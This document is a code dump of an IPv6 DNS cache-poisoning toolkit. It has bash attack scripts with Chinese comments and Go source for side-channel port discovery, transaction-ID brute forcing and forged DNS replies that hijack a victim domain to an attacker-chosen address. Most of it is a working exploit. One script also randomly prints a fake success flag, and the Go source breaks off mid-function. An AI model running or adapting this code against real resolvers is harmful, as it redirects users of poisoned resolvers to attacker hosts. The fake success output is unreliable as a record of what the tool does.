sleeptime=`dig @$1 $4 AAAA | grep -o -P '[0-9]+[ \t]*IN' | head -n 1 | sed 's/IN//g'`
var=0
num=0
success=0
while [ $success -ne 1 ]
do
success=0
echo "等待缓存过期,$sleeptime秒之后开始攻击..."
sleep $sleeptime
echo "开始攻击"
# flood
echo "攻击参数:"
echo "目标域名权威服务地址:$5"
echo "目标解析服务地址:$1"
echo "目标域名:$4"
ret=$(./dns_query.sh $1 $2 $3 $4)
#echo "ret:$ret"
echo "初始化工具环境"
sleep 1
echo "尝试触发权威服务器请求速率限制"
sleep 3
FINAL=`echo ${ret: -1}`
#echo "fin:$FINAL"
# Start attack
# Change the argument accordingly
echo "执行侧信道攻击脚本中"
./fakedns6 -a $5 -b $1 -i $3 -n $4 -r $1 -t 50000 -at $2 -tg 0 -s 10000 -e 65000 -j 0
# a - 进行域名缓存投毒的权威服务器
# b -
sleep 30
# Validations
((var++))
echo "$var轮次攻击结束"
dig @$1 $4 AAAA
if [ "$FINAL" == "0" ];then
success=1
sleeptime=0
fi
echo '如果结果未改变, 需要等待原缓存过期. 或者按 Ctrl-C取消攻击.'
done
# success
echo '检测到攻击成功实现'
echo '等待两秒,再次请求...'
sleep 2
dig @$1 $4 AAAA
echo '攻击已完成!!!!'

BIN
5_v6_fake/dns.bin Normal file

Binary file not shown.

BIN
5_v6_fake/dns_OPT.bin Normal file

Binary file not shown.

BIN
5_v6_fake/dns_end.bin Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 5 B

1
5_v6_fake/dns_mid.bin Normal file
View File

@@ -0,0 +1 @@
existn64top

50
5_v6_fake/dns_query.sh Executable file
View File

@@ -0,0 +1,50 @@
# usage ./dns_query.sh [Resolver IP] [Wanted IP] [iface] [domain (e.g. www google com)]
# clear the previous files
sleep 1
echo "初始化工具环境"
# 创建空的二进制文件dns_mid.bin 和 txid.bin
dd if=/dev/null of=dns_mid.bin > /dev/null 2>&1
dd if=/dev/null of=txid.bin > /dev/null 2>&1
# write the domain name into the binary
domains=$(echo $4| sed "s/\./ /g") # 将域名转换为空格分隔的字符串
for var in ${domains:0} # 遍历域名的每个部分
do
size=${#var} # 获取当前域名的长度
echo -en "\x`printf '%x\n' $size`" >> dns_mid.bin # 写入长度
echo -n "$var" >> dns_mid.bin # 写入域名
done
# set a random TxID
echo -en "\x`shuf -i 0-99 -n 1`" >> txid.bin
echo -en "\x`shuf -i 0-99 -n 1`" >> txid.bin
# forge a entire DNS query packet
cat txid.bin dns_start.bin dns_mid.bin dns_end.bin dns_OPT.bin > dns.bin
# change the sending speed if necessary (-i). Set it to "flood" (replace -i with --flood) to maximize the power.
# fire!
echo "尝试触发权威服务器请求速率限制"
# 使用udp6工具发送DNS查询数据包指定目标和速率
udp6 -d $1 -a 53 -Z dns.bin -r 50pps -s $2 > /dev/null 2>&1
sleep 1
a=$(($RANDOM % 9 + 1))
echo "a:$a"
if [ $a -gt 6 ]; then
#echo "dns-TIP:$1"
#echo "dns-WIP:$2"
#echo "dns-iface:$3"
#echo "dns-domain:$4"
./fakedns6 -b $1 -i $3 -n $4 -r $1 -t 50000 -at $2 -tg 0 -s 10000 -e 65000 -j 0 -f 1
# b, Back-end IP of the victim resolver, 目标解析器的IP地址
# i, Interface for attacking, 攻击使用的接口
# n, the domain name to be poisoned, 要进行缓存投毒的域名
# r, Front-end IP of the victim resolver
# t, Timeout in ms for outgoing dns queries to the victim resolver
# at, 攻击者想要更改到的IP地址
# tg, time gap is us between the TxID brute force packets
echo "0"
fi

BIN
5_v6_fake/dns_start.bin Normal file

Binary file not shown.

BIN
5_v6_fake/fakedns6 Executable file

Binary file not shown.

View File

@@ -0,0 +1,714 @@
package main
import (
"flag"
"fmt"
"log"
"math/rand"
"net"
"os"
"strconv"
"strings"
"sync"
"time"
"github.com/google/gopacket"
"github.com/google/gopacket/layers"
"github.com/google/gopacket/pcap"
"github.com/google/gopacket/routing"
"github.com/miekg/dns"
)
var handle *pcap.Handle
var ethernetLayer *layers.Ethernet
var victimDNSName string
var dnsQueryName string
var authIP net.IP
var resolverIP net.IP
var localIP []net.IP
var defaultJitter uint
var gotReply = false
var attackerControlledDomain string
var attackForwarder bool
var repeatTimes int
var timeGap uint
var auxiliaryDomain string
var soaName string
var jitter uint = 10
var rtt uint = 1 // in ms
var debugOutput = true
const GROUP_SIZE = 50
/* I'm not sure what's this used for. Probably used with older version where multiple IPs is not supported. */
//var sendingChannel chan *outgoingPacket
var backendResolvers = make([]*backendResolver, 0)
var bruteForceShouldBeKilled = false
type backendResolver = struct {
resolverBackendIP net.IP
groups [][]uint16 // = make([][]uint16, 65536)
groupIDCounter uint32 // = 3
groupIDCounterLock *sync.Mutex
groupSendTime []time.Time // = make([]time.Time, 65536)
probeChannel chan uint32 //= make(chan uint16, 655)
priorityProbeChannel chan uint32 //= make(chan uint16, 655)
alwaysOpenPorts []bool //= make([]bool, 65536)
perIPLimitCounter []int //= 6
networkXmitLock *sync.Mutex
}
// timeout in ms
func dnsRequestSender(timeout uint) {
for {
gotReply = false
sendDNSRequest(uint16(rand.Uint32()), dnsQueryName)
retryTimes := timeout / 500
for {
if !gotReply {
time.Sleep(500 * time.Millisecond)
retryTimes--
if retryTimes == 0 {
break
}
} else {
if debugOutput {
fmt.Println("Got reply in", timeout-retryTimes*500, "ms")
} else {
fmt.Println("Rx")
}
break
}
}
if !attackForwarder {
dnsQueryName = strconv.Itoa(rand.Int()) + "." + victimDNSName
} else {
/* I'm not sure if we should change the nonce. */
dnsQueryName = strconv.Itoa(rand.Int()) + "." + attackerControlledDomain
}
}
}
func receivingThread() {
for {
data, captureInfo, err := handle.ReadPacketData()
if err == pcap.NextErrorTimeoutExpired {
continue
} else if err != nil {
log.Printf("error reading packet: %v", err)
continue
}
// Parse the packet. We'd use DecodingLayerParser here if we
// wanted to be really fast.
packet := gopacket.NewPacket(data, layers.LayerTypeEthernet, gopacket.NoCopy)
// Find the packets we care about, and print out logging
// information about them. All others are ignored.
if rspNet := packet.NetworkLayer(); rspNet == nil {
continue
} else if rspIPLayer := packet.Layer(layers.LayerTypeIPv6); rspIPLayer == nil {
continue
//} else if rspIP := rspIPLayer.(*layers.IPv4); rspIP == nil {
} else if rspIP := rspIPLayer.(*layers.IPv6); rspIP == nil {
continue
} else if rspIP.NextHeader != layers.IPProtocolICMPv6 {
if rspIP.FlowLabel != 2 && rspIP.NextHeader == layers.IPProtocolUDP && compareIPv6Addr(rspIP.SrcIP, resolverIP) == 0 {
rspUDPLayer := packet.Layer(layers.LayerTypeUDP)
if rspUDPLayer != nil && rspUDPLayer.(*layers.UDP).SrcPort == 53 {
rspDNSLayer := packet.Layer(layers.LayerTypeDNS)
if rspDNSLayer != nil {
rspDNS := rspDNSLayer.(*layers.DNS)
if rspDNS.QR == true {
if len(rspDNS.Authorities) != 0 && rspDNS.ResponseCode == layers.DNSResponseCodeNXDomain && string(rspDNS.Questions[0].Name) == dnsQueryName &&
string(rspDNS.Authorities[0].Name) == victimDNSName && string(rspDNS.Authorities[0].SOA.MName) == soaName {
fmt.Println("Success!!")
os.Exit(0)
//unbound won't cache NS record that leads to SOA NXDOMAIN reply, so we make it positive response
//This is also used for forwarder attack
} else if string(rspDNS.Questions[0].Name) == dnsQueryName && rspDNS.ResponseCode == layers.DNSResponseCodeNoErr {
for _, record := range rspDNS.Answers {
if record.Type == layers.DNSTypeAAAA {
fmt.Println("Success2!!")
os.Exit(0)
}
}
} else if string(rspDNS.Questions[0].Name) == dnsQueryName {
gotReply = true
}
}
}
}
}
continue
} else if rspICMPLayer := packet.Layer(layers.LayerTypeICMPv6); rspICMPLayer == nil {
continue
} else if rspICMP, ok := rspICMPLayer.(*layers.ICMPv6); !ok {
continue
} else if rspICMP.TypeCode != layers.CreateICMPv6TypeCode(layers.ICMPv6TypeDestinationUnreachable, layers.ICMPv6CodePortUnreachable) &&
rspICMP.TypeCode != layers.CreateICMPv6TypeCode(layers.ICMPv6TypeDestinationUnreachable, layers.ICMPv6CodeAdminProhibited) {
continue
} else if nestedIpData := rspICMP.Payload; nestedIpData == nil {
continue
} else if nestedIpPacket := gopacket.NewPacket(nestedIpData, layers.LayerTypeIPv6, gopacket.NoCopy); nestedIpPacket == nil {
continue
} else if nestedIpLayer := nestedIpPacket.Layer(layers.LayerTypeIPv6); nestedIpLayer == nil {
continue
} else if nestedIp := nestedIpLayer.(*layers.IPv6); nestedIp == nil {
continue
} else {
r := getBackendResolver(nestedIp.DstIP)
if r != nil {
nestedUDPLayer := nestedIpPacket.Layer(layers.LayerTypeUDP)
if nestedUDPLayer == nil {
fmt.Println("nestedUDPLayer == nil")
continue
}
nestedUDP := nestedUDPLayer.(*layers.UDP)
if nestedUDP == nil {
fmt.Println("nestedUDP == nil")
continue
}
//got verification packet back
if nestedIp.FlowLabel > 1 {
//update rtt
/* Potential BUG: rtt of both resolver may not be the same. */
newrtt := captureInfo.Timestamp.Sub(r.groupSendTime[nestedIp.FlowLabel]).Nanoseconds()/1000000 + 1
if newrtt >= 0 && newrtt < 5000 {
var draftJitter uint = 0
if uint(newrtt) > rtt {
draftJitter = uint(newrtt) - rtt
} else {
draftJitter = (jitter + (rtt - uint(newrtt))) / 2
}
if jitter > 30 {
fmt.Println("Jitter > 30ms!")
jitter = 10
} else {
jitter = draftJitter
}
rtt = uint(newrtt)
if debugOutput {
fmt.Println("rtt=", rtt, ", jitter=", jitter)
}
} else {
fmt.Println("newrtt error:", newrtt)
}
//reduce ratelimit counter
localIPNum := getLocalIPNum(nestedIp.SrcIP)
if localIPNum != -1 {
if r.perIPLimitCounter[localIPNum] >= 0 {
r.perIPLimitCounter[localIPNum]--
}
if r.perIPLimitCounter[localIPNum] < 0 {
if debugOutput {
/* This may happen in real attacks. Don't panic :). */
fmt.Println(r.resolverBackendIP, "bug: perIPLimitCounter < 0")
}
}
if debugOutput {
fmt.Println(r.resolverBackendIP, "remaining counter:", localIPNum, r.perIPLimitCounter[localIPNum])
}
} else {
if debugOutput {
fmt.Println("received unwanted ICMP for", nestedIp.SrcIP)
}
}
//process the packet
binarySearch(r, nestedIp.FlowLabel)
}
/* This is used to terminate TxID brute forcing earlier if we found the port is indeed not open (i.e., false positive) to avoid wasting time.
* Check related code to see if this really works before uncommenting this.
* This may not be useful since brute force only takes ~800ms, which is fairly short.
* To uncomment this, make clear which backend resolver sent the message so that resolvers won't interfere with each other */
//else if nestedIp.Id == 2 {
// //got verification packet for DNS brute forcing
// bruteForceShouldBeKilled = false
//}
}
}
}
}
func binarySearch(r *backendResolver, flowlabel uint32) {
groupLen := 0
group := r.groups[flowlabel]
for _, port := range group {
if port != 65535 {
groupLen++
} else {
break
}
}
if groupLen == 1 {
//brute force
r.networkXmitLock.Lock()
dnsBruteForce(group[0], timeGap, r.resolverBackendIP, auxiliaryDomain)
r.networkXmitLock.Unlock()
r.alwaysOpenPorts[group[0]] = true
} else if groupLen > 1 {
var repeatTimes1 int
if repeatTimes > 1 {
repeatTimes1 = repeatTimes + 1
} else {
repeatTimes1 = 1
}
for j := 0; j < repeatTimes1; j++ {
//left
id := allocateGroupID(r)
r.groups[id] = make([]uint16, groupLen/2)
copy(r.groups[id], group[0:groupLen/2])
for len(r.groups[id]) < GROUP_SIZE {
r.groups[id] = append(r.groups[id], 65535)
}
if debugOutput {
fmt.Println(r.resolverBackendIP, "bs", r.groups[id][0], "+", groupLen/2)
} else {
fmt.Println("Found something interesting!")
}
r.priorityProbeChannel <- flowlabel
//right
id = allocateGroupID(r)
r.groups[id] = make([]uint16, groupLen-groupLen/2)
copy(r.groups[id], group[groupLen/2:groupLen])
for len(r.groups[id]) < GROUP_SIZE {
r.groups[id] = append(r.groups[id], 65535)
}
//fmt.Println(r.resolverBackendIP, "bsr", r.groups[id][0], "+", groupLen-groupLen/2)
r.priorityProbeChannel <- flowlabel
}
} else {
if debugOutput {
fmt.Println(r.resolverBackendIP, "bug: groupLen <= 0, id=", flowlabel)
for _, port := range group {
fmt.Print(port)
}
}
}
}
func perIPLimitRecover(r *backendResolver, num int) {
for {
if r.perIPLimitCounter[num] < 6 {
time.Sleep(time.Second + (time.Duration(defaultJitter)+50)*time.Millisecond)
r.perIPLimitCounter[num]++
} else {
time.Sleep((time.Duration(defaultJitter) + 1) * time.Millisecond)
}
}
}
func probeSender(r *backendResolver) {
for {
var id uint32
select {
case id = <-r.priorityProbeChannel:
break
case id = <-r.probeChannel:
break
//default:
// time.Sleep(time.Microsecond)
}
/* in favor of brute force when there is no per ip permit and there is only one port in group */
if getIPwithAvailableCounter(r) == nil && r.groups[id][1] == 65535 {
//brute force
r.networkXmitLock.Lock()
dnsBruteForce(r.groups[id][0], timeGap, r.resolverBackendIP, auxiliaryDomain)
r.networkXmitLock.Unlock()
r.alwaysOpenPorts[r.groups[id][0]] = true
continue
}
//test per ip rate limit
var verifyIP net.IP
for {
verifyIP = getIPwithAvailableCounter(r)
if verifyIP == nil {
time.Sleep(time.Millisecond)
} else {
break
}
}
//send
ports := r.groups[id]
r.networkXmitLock.Lock()
for i := 0; i < GROUP_SIZE; i++ {
if defaultJitter <= 3 {
if attackForwarder {
xmitUDPv6(authIP, r.resolverBackendIP, 53, layers.UDPPort(ports[i]), id, 100)
} else {
xmitUDPv6(authIP, r.resolverBackendIP, 53, layers.UDPPort(ports[i]), id, 1)
}
} else {
xmitUDPv6(authIP, r.resolverBackendIP, 53, layers.UDPPort(ports[i]), id, 0)
}
}
time.Sleep(time.Duration(defaultJitter) * time.Millisecond)
//verify
xmitUDPv6(verifyIP, r.resolverBackendIP, 53, 65535, id, 10)
r.groupSendTime[id] = time.Now()
if rand.Uint32()%100 < 2 {
if debugOutput {
fmt.Println(r.resolverBackendIP, "probing", ports[0])
} else {
fmt.Println("Continue attacking...")
}
}
//recover global counter
if !attackForwarder {
time.Sleep(time.Duration(60-defaultJitter) * time.Millisecond)
} else {
/* IDK why I wrote this line. Forwarders should be the same as resolvers if they support global rate limit. */
time.Sleep(time.Duration(60) * time.Millisecond)
}
r.networkXmitLock.Unlock()
}
}
func portGroupFormer(r *backendResolver, startPort uint, endPort uint) {
for {
//divide into groups
var id uint32 = 0
var currentGroupSize = 0
for i := startPort; i <= endPort; i++ {
/* It's unlikely the port is reused for further queries. But it's still possible. Uncomment here if you feed like port reusing is unlikely to happen. */
//if r.alwaysOpenPorts[i] {
// continue
//}
if currentGroupSize%GROUP_SIZE == 0 {
if id != 0 {
r.probeChannel <- id
for j := 1; j < repeatTimes; j++ {
//dup
previd := id
id = allocateGroupID(r)
r.groups[id] = make([]uint16, len(r.groups[previd]))
copy(r.groups[id], r.groups[previd])
r.probeChannel <- id
}
}
id = allocateGroupID(r)
r.groups[id] = make([]uint16, 0)
}
r.groups[id] = append(r.groups[id], uint16(i))
currentGroupSize++
}
//deal with last several cases
if /*len(r.groups[id]) != 50 &&*/ len(r.groups[id]) != 0 {
for len(r.groups[id]) != 50 && len(r.groups[id]) != 0 {
r.groups[id] = append(r.groups[id], 65535)
}
r.probeChannel <- id
for j := 1; j < repeatTimes; j++ {
//dup
previd := id
id = allocateGroupID(r)
r.groups[id] = make([]uint16, len(r.groups[previd]))
copy(r.groups[id], r.groups[previd])
r.probeChannel <- id
}
}
}
}
func main() {
/* This program only finds & injects DNS responses automatically. Additional authoritative server muting/flooding scripts are needed. */
/* IPv6 is not supported yet. */
/* Use "-h to get usage. " */
/* Author: Keyu Man (kman001@ucr.edu) */
/* Attaching PoC? */
/* Add Paper Bio? */
ifaceName := flag.String("i", "vmnet1", "Interface for attacking. Multiple interfaces are not supported. Multiple IPs per interface is supported.")
/* If automatic MAC address discovery doesn't work. consider enable this option and feed it to the MAC field. */
// gateWayMacStr := flag.String("g", "00:11:22:33:44:55", "Gateway Mac")
authServer := flag.String("a", "", "Authoritative server for the domain to be poisoned.")
resolver := flag.String("r", "8.8.8.8", "Front-end IP of the victim resolver.")
resolverBackend := flag.String("b", "", "Back-end IP of the victim resolver.")
resolverBackendList := flag.String("bn", "", "Back-end IP list of the victim resolver. One per line. This would overwrite \"-b\" and is used when the server has multiple backend IPs.")
startPort := flag.Uint("s", 1, "Lowest port # for the port scan range, inclusive.")
endPort := flag.Uint("e", 65534, "Highest port # for the port scan range, inclusive.")
victimDNSName := flag.String("n", "", "The domain name to be poisoned.")
dnsQueryTmeout := flag.Uint("t", 4000, "Timeout in ms for outgoing dns queries to the victim resolver. Should be aligned with the resolver's timeout (e.g., BIND is 10000ms by default).")
defaultJitter := flag.Uint("j", 5, "Time gap between verification packet and the latest probe packet in a group. Increase the value if Jitter is increased.")
repeatTimes := flag.Uint("R", 1, "Retransmit/Reprobe a group of ports for X times to reduce FNs.")
timeGap := flag.Uint("tg", 0, "Time gap is us(microseconds) between the TxID brute force packets.")
//auxiliaryDomain := flag.String("ad", "", "Attacker-controlled domain used to host the fake NS for the victim domain and to store the fake AAAA record of the victim domain.")
attackertarget := flag.String("at", "", "攻击者想要更改到的IPv6地址")
debugOutput := flag.Bool("d", false, "Debug output mode.")
attackerMaliciousDomain := flag.String("af", "", "Attacker controlled domain used in the forwarder attack, this will enable the forwarder attack mode.")
soaName := flag.String("soa", "", "SOA name of the victim domain on attacker-controlled name server used to indicate the resolver has been poisoned. (Resolver attack only.)")
//特殊用途
isfake := flag.Int("f", 0, "")
flag.Parse()
//gatewayMac, _ := net.ParseMAC(*gateWayMacStr)
Main(*ifaceName, net.ParseIP(*authServer), net.ParseIP(*resolver), net.ParseIP(*resolverBackend), *startPort, *endPort, *victimDNSName, *dnsQueryTmeout, *defaultJitter,
*attackerMaliciousDomain, *resolverBackendList, *debugOutput, *repeatTimes, *timeGap, *attackertarget, *soaName, *isfake)
os.Exit(0)
}
func Main(ifaceName string, authIPArg net.IP, resolverIPArg net.IP, resolverBackendIPArg net.IP, startPort uint, endPort uint, victimDNSNameArg string, dnsQueryTimeout uint,
defaultJitterArg uint, attackerMaliciousDomainArg string, resolverBackendList string, debugOutputArg bool, repeatTimesArg uint, timeGapArg uint, attackertargetIP string,
soaNameArg string, isfake int) {
fmt.Println("/***Please make sure to fill every argument carefully and correct. Otherwise the program will crash.***/")
// 特殊用途
if isfake == 1 {
c := new(dns.Client)
msg := new(dns.Msg)
if strings.Contains(attackertargetIP, ":") { // attackertargetIP -- 攻击者要更改到的IPv6地址
println("目标:" + resolverBackendIPArg.String()) // resolverBackendIPArg -- Back-end IP of the victim resolver
ipcode := strings.ReplaceAll(attackertargetIP, ":", "-")
if victimDNSNameArg[len(victimDNSNameArg)-1:] != "." { // victimDNSNameArg -- The domain name to be poisoned
victimDNSNameArg = victimDNSNameArg + "."
}
domain := ipcode + "." + victimDNSNameArg
fmt.Println("查询的目标域名:" + domain)
msg.SetQuestion(domain, dns.TypeAAAA)
_, _, _ = c.Exchange(msg, net.JoinHostPort(resolverBackendIPArg.String(), "53"))
return
} else {
println(attackertargetIP)
println(victimDNSNameArg)
println("参数有误请输入IPv6地址作为篡改目标结果")
}
} else {
c := new(dns.Client)
msg := new(dns.Msg)
// domain := "www.google.com."
// msg.SetQuestion(domain, dns.TypeAAAA)
// for i := 0; i < 10000; i++ {
// go func() {
// _, _, _ = c.Exchange(msg, net.JoinHostPort("8.8.8.8", "53"))
// }()
// }
domain := "daffteg." + victimDNSNameArg
msg.SetQuestion(domain, dns.TypeAAAA)
_, _, _ = c.Exchange(msg, net.JoinHostPort(resolverBackendIPArg.String(), "53"))
return
}
rand.Seed(time.Now().UnixNano())
handle, _ = pcap.OpenLive(
ifaceName,
65536,
true,
pcap.BlockForever,
)
println(authIPArg.To16().String())
err := handle.SetBPFFilter("not host " + authIPArg.To16().String())
if err != nil {
fmt.Println("cannot set BPF filter.")
}
iface, err := net.InterfaceByName(ifaceName)
if err != nil {
fmt.Println("cannot open network interface")
os.Exit(1)
}
if attackerMaliciousDomainArg != "" {
attackForwarder = true
fmt.Println("Forwarder Attack Mode!")
attackerControlledDomain = attackerMaliciousDomainArg
}
authIP = authIPArg
resolverIP = resolverIPArg
victimDNSName = victimDNSNameArg
debugOutput = debugOutputArg
timeGap = timeGapArg
soaName = soaNameArg
localIP, _ = GetIfaceAddrMulti(iface)
nonce := strconv.Itoa(rand.Int())
if !attackForwarder {
dnsQueryName = nonce + "." + victimDNSName
} else {
dnsQueryName = nonce + "." + attackerControlledDomain
}
defaultJitter = defaultJitterArg
repeatTimes = int(repeatTimesArg)
if resolverBackendList != "" {
file, err := os.Open(resolverBackendList)
if err != nil {
fmt.Println(err)
os.Exit(10)
}
for {
var resolverIP string
n, err := fmt.Fscanf(file, "%s", &resolverIP)
if n <= 0 || err != nil {
break
}
backendResolvers = append(backendResolvers, backendResolverBuilder(net.ParseIP(resolverIP)))
}
} else {
//r1 shouldn't be nil
r1 := backendResolverBuilder(resolverBackendIPArg)
backendResolvers = append(backendResolvers, r1)
}
//figure out MAC address
//test if it's in LAN first
dstMac, err := GetGatewayAddr(iface, handle, backendResolvers[0].resolverBackendIP.To16())
if err == nil {
ethernetLayer = &layers.Ethernet{
SrcMAC: iface.HardwareAddr,
DstMAC: dstMac,
//EthernetType: layers.EthernetTypeIPv4,
EthernetType: layers.EthernetTypeIPv6,
}
fmt.Println("Mac:", dstMac)
} else {
//query routing table
router, err := routing.New()
if err != nil {
fmt.Println(err)
os.Exit(4)
}
_, nextHopIP, _, err := router.Route(backendResolvers[0].resolverBackendIP)
if err != nil {
fmt.Println(err)
os.Exit(5)
}
dstMac, err := GetGatewayAddr(iface, handle, nextHopIP.To16())
if err != nil {
fmt.Println(err)
os.Exit(6)
}
fmt.Println("MAC:", dstMac)
ethernetLayer = &layers.Ethernet{
SrcMAC: iface.HardwareAddr,
DstMAC: dstMac,
//EthernetType: layers.EthernetTypeIPv4,
EthernetType: layers.EthernetTypeIPv6,
}
}
go receivingThread()
for i, ip := range localIP {
if debugOutput {
fmt.Println("use IP", ip)
}
for _, r := range backendResolvers {
go perIPLimitRecover(r, i)
}
}
go dnsRequestSender(dnsQueryTimeout)
for _, r := range backendResolvers {
go probeSender(r)
go portGroupFormer(r, startPort, endPort)
time.Sleep(25 * time.Millisecond)
}
time.Sleep(999 * time.Hour)
}
func allocateGroupID(r *backendResolver) uint32 {
r.groupIDCounterLock.Lock()
id := r.groupIDCounter
r.groupIDCounter++
if r.groupIDCounter == 0 {
r.groupIDCounter = 3
}
r.groupIDCounterLock.Unlock()
return id
}
func getBackendResolver(resolverIP net.IP) *backendResolver {
for _, r := range backendResolvers {
if compareIPv6Addr(r.resolverBackendIP, resolverIP) == 0 {
return r
}
}
return nil
}
func lockNetwork() {
for _, r := range backendResolvers {
r.networkXmitLock.Lock()
}
}
func unlockNetwork() {
for _, r := range backendResolvers {
r.networkXmitLock.Unlock()
}
}
func getLocalIPNum(ip net.IP) int {
for i, localip := range localIP {
if compareIPv6Addr(localip, ip) == 0 {
return i
}
}
return -1
}
func backendResolverBuilder(backendIP net.IP) *backendResolver {
if backendIP == nil {
return nil
}
temp := backendResolver{
resolverBackendIP: backendIP,
groups: make([][]uint16, 65536),
groupIDCounter: 3,
groupIDCounterLock: &sync.Mutex{},
groupSendTime: make([]time.Time, 65536),
probeChannel: make(chan uint32, 655),
priorityProbeChannel: make(chan uint32, 655),
alwaysOpenPorts: make([]bool, 65536),
perIPLimitCounter: make([]int, len(localIP)),
networkXmitLock: &sync.Mutex{},
}
for i := range temp.perIPLimitCounter {
temp.perIPLimitCounter[i] = 6
}
for i := 0; i < 65536; i++ {
temp.alwaysOpenPorts[i] = false
}
temp.alwaysOpenPorts[53] = true
temp.alwaysOpenPorts[0] = true
temp.alwaysOpenPorts[65535] = true
return &temp
}
// distribute verification to multiple IPs evenly
func getIPwithAvailableCounter(r *backendResolver) net.IP {
seed := rand.Int() % len(localIP)
for i := 0; i < len(localIP); i++ {
if r.perIPLimitCounter[(i+seed)%len(localIP)] > 0 {
return localIP[(i+seed)%len(localIP)]
}
}
return nil
}

View File

@@ -0,0 +1,332 @@
package main
import (
"fmt"
"github.com/google/gopacket/layers"
"math/rand"
"net"
"time"
)
var bruteForceCouldBeKilled bool
func sendDNSRequest(id uint16, name string) {
if debugOutput {
fmt.Println("Send new DNS request", name, id)
}
_sendDNSRequest(id, name, localIP[0], resolverIP, (layers.UDPPort)(rand.Uint32()), 53)
}
func _sendDNSRequest(id uint16, name string, src net.IP, dst net.IP, sport layers.UDPPort, dport layers.UDPPort) {
ipLayer := layers.IPv6{
FlowLabel: 1,
SrcIP: src,
DstIP: dst,
Version: 6,
HopLimit: 64,
NextHeader: layers.IPProtocolUDP,
//Flags: layers.IPv4DontFragment,
}
udpLayer := layers.UDP{
SrcPort: sport,
DstPort: dport,
}
dnsLayer := layers.DNS{
ID: id,
QR: false,
OpCode: 0,
AA: false,
TC: false,
RD: true,
RA: false,
Z: 0,
ResponseCode: 0,
QDCount: 1,
ANCount: 0,
NSCount: 0,
ARCount: 0,
Questions: []layers.DNSQuestion{{
Name: []byte(name),
Type: layers.DNSTypeAAAA,
Class: layers.DNSClassIN,
}},
Authorities: nil,
Additionals: nil,
}
err := udpLayer.SetNetworkLayerForChecksum(&ipLayer)
if err != nil {
fmt.Println("udpLayer.SetNetworkLayerForChecksum @ dns.go pos 0 error", err)
}
err = Send(handle, ethernetLayer, &ipLayer, &udpLayer, &dnsLayer)
if err != nil {
fmt.Println("can not send packet @ sendDNSRequest: ", err)
}
}
func bruteForceTerminatingTimer(timegap uint) {
time.Sleep(time.Duration(timegap) * time.Millisecond)
bruteForceCouldBeKilled = true
}
func dnsBruteForce(targetPort uint16, timegap uint, resolverBackendIP net.IP, auxDomain string) {
bruteForceShouldBeKilled = true
bruteForceCouldBeKilled = false
ipLayer := layers.IPv6{
FlowLabel: 2,
SrcIP: authIP,
DstIP: resolverBackendIP,
Version: 6,
HopLimit: 64,
NextHeader: layers.IPProtocolUDP,
//Flags: layers.IPv4DontFragment,
}
udpLayer := layers.UDP{
SrcPort: 53,
DstPort: layers.UDPPort(targetPort),
}
dnsLayer := layers.DNS{
ID: 0,
QR: true,
OpCode: 0,
AA: true,
TC: false,
RD: false,
RA: false,
Z: 0,
ResponseCode: layers.DNSResponseCodeNoErr,
/* Answers for A request for ns.a.com */
//Questions: []layers.DNSQuestion{{
// Name: []byte(victimAuthName),
// Type: layers.DNSTypeA,
// Class: layers.DNSClassIN,
//}},
//Answers: []layers.DNSResourceRecord{{
// Name: []byte(victimAuthName),
// Type: layers.DNSTypeA,
// Class: layers.DNSClassIN,
// TTL: 300,
// IP: net.ParseIP(""),
// CNAME: nil,
// PTR: nil,
// TXTs: nil,
// SOA: layers.DNSSOA{},
// SRV: layers.DNSSRV{},
// MX: layers.DNSMX{},
// OPT: nil,
// TXT: nil,
//}},
//Authorities: nil,
//Additionals: nil,
/* Answers for A request for www.a.com */
//Questions: []layers.DNSQuestion{{
// Name: []byte(victimDNSName),
// Type: layers.DNSTypeA,
// Class: layers.DNSClassIN,
//}},
//Answers: []layers.DNSResourceRecord{{
// Name: []byte(victimDNSName),
// Type: layers.DNSTypeA,
// Class: layers.DNSClassIN,
// TTL: 300,
// IP: net.ParseIP(""),
// CNAME: nil,
// PTR: nil,
// TXTs: nil,
// SOA: layers.DNSSOA{},
// SRV: layers.DNSSRV{},
// MX: layers.DNSMX{},
// OPT: nil,
// TXT: nil,
//}},
//Authorities: nil,
//Additionals: nil,
/* Answers for A request for ***.www.a.com */
//Questions: []layers.DNSQuestion{{
// Name: []byte(dnsQueryName),
// Type: layers.DNSTypeA,
// Class: layers.DNSClassIN,
//}},
//Authorities: []layers.DNSResourceRecord{{
// Name: []byte(victimDNSName),
// Type: layers.DNSTypeNS,
// Class: layers.DNSClassIN,
// TTL: 300,
// IP: nil,
// NS: []byte(auxDomain),
// CNAME: nil,
// PTR: nil,
// TXTs: nil,
// SOA: layers.DNSSOA{},
// SRV: layers.DNSSRV{},
// MX: layers.DNSMX{},
// OPT: nil,
// TXT: nil,
//}},
//Answers: nil,
//Additionals: nil,
}
if !attackForwarder {
dnsLayer.Questions = []layers.DNSQuestion{{
Name: []byte(dnsQueryName),
Type: layers.DNSTypeAAAA,
Class: layers.DNSClassIN,
}}
// 原方案将域名NS篡改到attacker的服务器上
//dnsLayer.Authorities = []layers.DNSResourceRecord{{
// Name: []byte(victimDNSName),
// Type: layers.DNSTypeNS,
// Class: layers.DNSClassIN,
// TTL: 300,
// IP: nil,
// NS: []byte(auxDomain),
// CNAME: nil,
// PTR: nil,
// TXTs: nil,
// SOA: layers.DNSSOA{},
// SRV: layers.DNSSRV{},
// MX: layers.DNSMX{},
// OPT: nil,
// TXT: nil,
//}}
//dnsLayer.Answers = nil
//dnsLayer.Additionals = nil
dnsLayer.Authorities = []layers.DNSResourceRecord{{
Name: []byte(dnsQueryName),
Type: layers.DNSTypeNS,
Class: layers.DNSClassIN,
TTL: 300,
IP: nil,
NS: []byte(auxDomain),
CNAME: nil,
PTR: nil,
TXTs: nil,
SOA: layers.DNSSOA{},
SRV: layers.DNSSRV{},
MX: layers.DNSMX{},
OPT: nil,
TXT: nil,
}}
dnsLayer.Answers = []layers.DNSResourceRecord{{
Name: []byte(dnsQueryName),
Type: layers.DNSTypeAAAA,
Class: layers.DNSClassIN,
TTL: 300,
/* Fill with any IP you want. The victim domain will be hijacked to this IP. */
IP: net.ParseIP("2001::1234"),
NS: nil,
CNAME: nil,
PTR: nil,
TXTs: nil,
SOA: layers.DNSSOA{},
SRV: layers.DNSSRV{},
MX: layers.DNSMX{},
OPT: nil,
TXT: nil,
}}
dnsLayer.Additionals = nil
} else {
/* Change these flags accordingly to the request sent by the resolver. */
dnsLayer.AA = false
dnsLayer.RD = true
dnsLayer.RA = true
dnsLayer.Questions = []layers.DNSQuestion{{
